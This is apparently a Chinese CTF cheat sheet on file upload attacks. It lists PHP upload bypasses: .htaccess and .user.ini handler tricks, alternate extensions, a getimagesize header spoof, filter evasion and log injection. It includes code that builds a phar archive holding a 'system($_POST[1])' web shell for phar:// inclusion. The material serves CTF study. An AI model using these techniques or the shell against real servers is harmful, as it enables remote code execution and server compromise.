CTF知识集-文件上传

开头可能会用到的提示

  • 除了PHP,php3 4 5 | phar | pht | phtml都是可能会解析的
  • 如果是apache(httpd) , 使用.htaccess 写入SetHandler application/x-httpd-php , 那么上传任意文件会被解析成php
  • 如果是apache(httpd) , 使用.htaccess, 写入AddType application/x-httpd-php .jpg 会把当前目录的jpg当成php解析
  • nginx,使用.user.ini 写入(当前目录有php文件才会生效),auto_prepend_file=shell.jpg或者auto_append_file=shell.jpg,上传shell.jpg被解析为php
  • .user.ini, auto_prepend_file=php://input | auto_append_file=php://input,也可以这样写,上传后访问上传目录的php里面,POST传入php代码
  • auto_prepend_file | auto_append_file也可以尝试包含日志,直接日志注入
  • getimagesize绕过,如果使用了这个检测函数,可以在文件头写入下面的代码,让这个函数认为上传的文件是jpg

    #define width 114
    #define height 514

  • []被检测可以使用{}
  • eval($_POST[cmd]); 如果$_POST[cmd]用不了,可以array_pop($_POST),然后 post随便传入值即可
  • 利用语言结构,使用include包含日志文件
  • 如果空格被过滤,使用\n也就是0d,改十六进制数据
  • include远程包含

一些总结点

pear文件包含

首先生成一个phar文件,执行下面的php代码

<?php
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','<?php system($_POST[1]);?>');
$phar -> stopBuffering();

?>

生成的phar.phar里面,如果用phar协议读取(搭配文件包含),phar:///phar.phar/test.txt,那么里面的代码就会被执行,phar.phar也可以是其他文件名,例如p.zip

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇